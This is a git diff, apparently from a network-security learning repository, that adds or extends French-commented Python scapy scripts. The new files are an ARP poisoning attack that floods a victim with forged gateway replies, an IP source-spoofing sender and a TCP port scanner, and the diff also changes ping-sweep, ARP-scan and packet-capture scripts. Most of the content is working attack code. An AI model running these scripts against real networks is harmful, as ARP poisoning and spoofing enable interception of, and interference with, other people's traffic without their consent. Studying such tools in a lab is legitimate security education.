summaryrefslogtreecommitdiff
path: root/scapy
diff options
context:
space:
mode:
Diffstat (limited to 'scapy')
-rw-r--r--scapy/arp_poisoning.py22
-rw-r--r--scapy/arping.py2
-rw-r--r--scapy/capture.py12
-rw-r--r--scapy/ping.py24
-rw-r--r--scapy/scan_tcp.py17
-rw-r--r--scapy/spoof_ip.py13
6 files changed, 80 insertions, 10 deletions
diff --git a/scapy/arp_poisoning.py b/scapy/arp_poisoning.py
new file mode 100644
index 0000000..4819704
--- /dev/null
+++ b/scapy/arp_poisoning.py
@@ -0,0 +1,22 @@
+#!/usr/bin/env python
+
+from scapy.all import *
+
+# example:
+ip="192.168.2.104"
+ip_gateway="192.168.2.254"
+
+def arp_poison(ip,ip_gateway):
+ matrame = Ether()/ARP(pdst=ip)
+ srp(matrame,timeout=2,verbose=0)
+ victime_arp = matrame[Ether].dst
+ packet=Ether(dst=victime_arp)/ARP(op="is-at", psrc=ip_gateway)
+ print("Ctrl-C pour arrêter l'attaque !")
+ sendp(packet,inter=2, loop=1)
+
+try:
+ arp_poison(ip,ip_gateway)
+except PermissionError:
+ print(f"{sys.argv[0]} nécessite les droits root")
+
+
diff --git a/scapy/arping.py b/scapy/arping.py
index 921f999..9955e33 100644
--- a/scapy/arping.py
+++ b/scapy/arping.py
@@ -17,3 +17,5 @@ if __name__ == "__main__" :
arpscan(sys.argv[1])
except IndexError:
print(f"{sys.argv[0]} nécessite un réseau(CIDR) en ligne de commande")
+ except PermissionError:
+ print(f"{sys.argv[0]} nécessite les droits root")
diff --git a/scapy/capture.py b/scapy/capture.py
index 64393fc..c36b0c0 100644
--- a/scapy/capture.py
+++ b/scapy/capture.py
@@ -2,6 +2,14 @@ from scapy.all import *
# fonction callback
def packet_capture(pkt):
- print(pkt[IP].src, "->",pkt[IP].dst)
+ if pkt.haslayer(TCP):
+ print(pkt[IP].src, "-> TCP",pkt[IP].dst,":",pkt[TCP].dport, pkt[TCP].flags)
+ elif pkt.haslayer(UDP):
+ print(pkt[IP].src, "-> UDP",pkt[IP].dst,":",pkt[UDP].dport)
+ elif pkt.haslayer(ICMP):
+ print(pkt[IP].src, "-> ICMP",pkt[IP].dst)
-sniff(prn=packet_capture, filter="ip", count=10)
+try:
+ sniff(prn=packet_capture, filter="ip", count=50)
+except PermissionError:
+ print(f"{sys.argv[0]} nécessite les droits root")
diff --git a/scapy/ping.py b/scapy/ping.py
index 4d1aa66..6baccff 100644
--- a/scapy/ping.py
+++ b/scapy/ping.py
@@ -2,11 +2,19 @@
from scapy.all import *
conf.verb = 0
-for ip in range(100, 255):
- #packet = IP(dst="192.168.2." + str(ip), ttl=20)/ICMP()
- #on peut aussi en profiter pour envoyer un flag (ctf)
- MESSAGE = "code=01234"
- packet = IP(dst="192.168.2." + str(ip), ttl=20)/ICMP()/MESSAGE
- reply = sr1(packet, timeout=1)
- if not (reply is None):
- print(reply.src, "is online")
+
+def scanping():
+ for ip in range(100, 255):
+ #packet = IP(dst="192.168.2." + str(ip), ttl=20)/ICMP()
+ #on peut aussi en profiter pour envoyer un flag (ctf)
+ MESSAGE = "code=01234"
+ packet = IP(dst="192.168.2." + str(ip), ttl=20)/ICMP()/MESSAGE
+ reply = sr1(packet, timeout=1)
+ if not (reply is None):
+ print(reply.src, "is online")
+
+if __name__ == "__main__":
+ try:
+ scanping()
+ except PermissionError:
+ print(f"{sys.argv[0]} nécessite les droits root")
diff --git a/scapy/scan_tcp.py b/scapy/scan_tcp.py
new file mode 100644
index 0000000..390c2b2
--- /dev/null
+++ b/scapy/scan_tcp.py
@@ -0,0 +1,17 @@
+#!/usr/bin/env python
+
+import sys
+from scapy.all import *
+
+def scapy_scan(host,*ports):
+ for port in ports:
+ ans,unans = sr(IP(dst=host)/TCP(sport=RandShort(),dport=int(port)),verbose=0)
+ ans.summary(lambda s,r: r.sprintf("%IP.dst% \t %TCP.sport% \t %TCP.flags%"))
+
+try:
+ scapy_scan(sys.argv[1],*sys.argv[2:])
+except PermissionError:
+ print(f"{sys.argv[0]} nécessite les droits root")
+except IndexError:
+ print(f"{sys.argv[0]} un host et des ports à scanner")
+
diff --git a/scapy/spoof_ip.py b/scapy/spoof_ip.py
new file mode 100644
index 0000000..7f85786
--- /dev/null
+++ b/scapy/spoof_ip.py
@@ -0,0 +1,13 @@
+#!/usr/bin/env python
+
+import sys
+from scapy.all import *
+
+def spoof_ip(spoofed_ip,dest_ip):
+ send(IP(src=spoofed_ip,dst=dest_ip)/ICMP(),count=10)
+
+if __name__ == "__main__":
+ try:
+ spoof_ip(sys.argv[1],sys.argv[2])
+ except PermissionError:
+ print(f"{sys.argv[0]} nécessite les droits root")